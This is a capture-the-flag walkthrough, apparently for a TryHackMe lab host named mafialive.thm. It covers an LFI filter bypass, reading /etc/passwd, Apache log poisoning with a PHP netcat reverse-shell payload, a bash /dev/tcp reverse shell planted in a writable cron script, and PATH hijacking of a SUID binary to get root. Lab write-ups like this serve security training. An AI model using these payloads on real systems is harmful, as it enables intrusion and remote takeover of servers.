sudo nmap -p- -sS -sV  

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking at the immediate page on port 80 we see a hostname we can use of mafialive.thm.

I added this into /etc/hosts. Before checking the new hostname I scanned the IP further with and only got one interesting hit on 'flags' which was a Rick Roll...

I then decided to browse tomafialive.thm and we immediately get the first flag.

Running against this host reveals /robots.txt.

python3 -u http://mafialive.thm/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -r -t 75 --full-url 

Browsing to and reading the contents of robots.txt the file contains the following:

User-agent: *
Disallow: /test.php

Browsing to /test.php shows the below page.

Clicking the button runs the string 'Control is an illusion'. We can see from the URL bar test.php is 'viewing' /var/www/html/development_testing/mrrobot.php.

I tried running LFI parameters on 'test.php?view=' and was unable to discover any exploits. Searching through the following resource: We have several ways we can attempt to exploit the web application.

We can try a PHP filter on base64 to attempt to read a file. We can run the command below to read the contents of test.php to see what it is trying to do.


Running this with curl we are returned a base64 string.

Running the string against base64 returns a flag and the PHP code for test.php

echo '<base64-String>' | base64 -d

The PHP code is shown below for easier reading.

function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
    include $_GET['view'];

    echo 'Sorry, Thats not allowed';

Looking at the following line in the code:

if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {

The exclamation mark stands for NOT so this line is saying if 'Does Not' contain '../..' and 'Does' contain /var/www/html/development_testing then perform the function.

We can use a list of filters in an attempt to fuzz and bypass the restrictions in order to read local files. Remembering from the code snippet above for the view parameter we need to include /var/www/html/development_testing.

Use this file for Fuzzing:

wfuzz -w filters.txt -u http://mafialive.thm/test.php?view=/var/www/html/development_testing/FUZZ --hl 15 

The parameter --hl 15 was used to filter out invalid responses. Resulting in matches for the results below:

Running curl against the target with a confirmed filter from above.

curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..///etc/passwd 

We can attempt to perform log poisoning to gain RCE and shell on the target machine. Running curl again we can view the Apache access log files. We can also see the recent requests performed above by wfuzz.

curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..///var/log/apache2/access.log

I will switch over th Burpsuite for this as it is easier to work in than curl if we need to troubleshoot our requests. Reload the page for accessing the access.log and catch the request with Burpsuite. We can then alter the user-agent field to contain PHP code. In the example below we are executing netcat on the target machine to create a reverse shell to us.

<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 80 >/tmp/f') ?>

Once the request has been sent this will exist in access.log Simply reload the LFI for http://mafialive.thm/test.php?view=/var/www/html/development_testing/..//..//..//..///var/log/apache2/access.log. This should then execute the PHP code and catch a shell on netcat on our attacking machine.

I then transferred over linpeas to the target machine. After exeucting linpeas identified a cronjob that is executed every minute by the user 'archangel'.

This cronjob is executing the file /opt/ Viewing the permissions of the file we see we have the ability to edit the contents of the file. Currently every minute the file appends a new line to /opt/backupfiles/helloworld.txt

We can echo in a new line for a bash reverse shell and wait for it to execute.

echo 'sh -i >& /dev/tcp/ 0>&1' >>

Start a netcat listener on our attacking machine.

sudo nc -lvp 443

Then wait for the cronjob to execute. If performed correctly we will have shell as the user 'archangel'.

Again running linpeas on the target machine we find a custom binary with the SUID bit set.

Looking at the results above we can see the binary is trying to execute the command 'cp' or copy without a full path specified and as such is unable to locate the binary.

We can take advantage of this by exporting a new path where our home directory is searched in first and then get our own malicious binary executed with the SUID privileges (root privileges).

First set a new path where the users home directory is the first entry.


Then create a file containing a reverse shell in /home/archangel.

archangel@ubuntu:~$ touch cp
archangel@ubuntu:~$ echo '#!/bin/bash' > cp 
archangel@ubuntu:~$ echo 'sh -i >& /dev/tcp/ 0>&1' >> cp
archangel@ubuntu:~$ chmod +x cp

On the above commands we have created a file called 'cp' in the home directory of /home/archangel we have then set /bin/bash at the start of the script and then echo'd in on a new line a bash reverse shell. Finally we set the file to be executable with chmod.

Set up a netcat reverse shell on the attacking machine.

sudo nc -lvp 80

Then execute the backup binary:

archangel@ubuntu:~$ /home/archangel/secret/backup

We then receive a reverse shell as root.

Last updated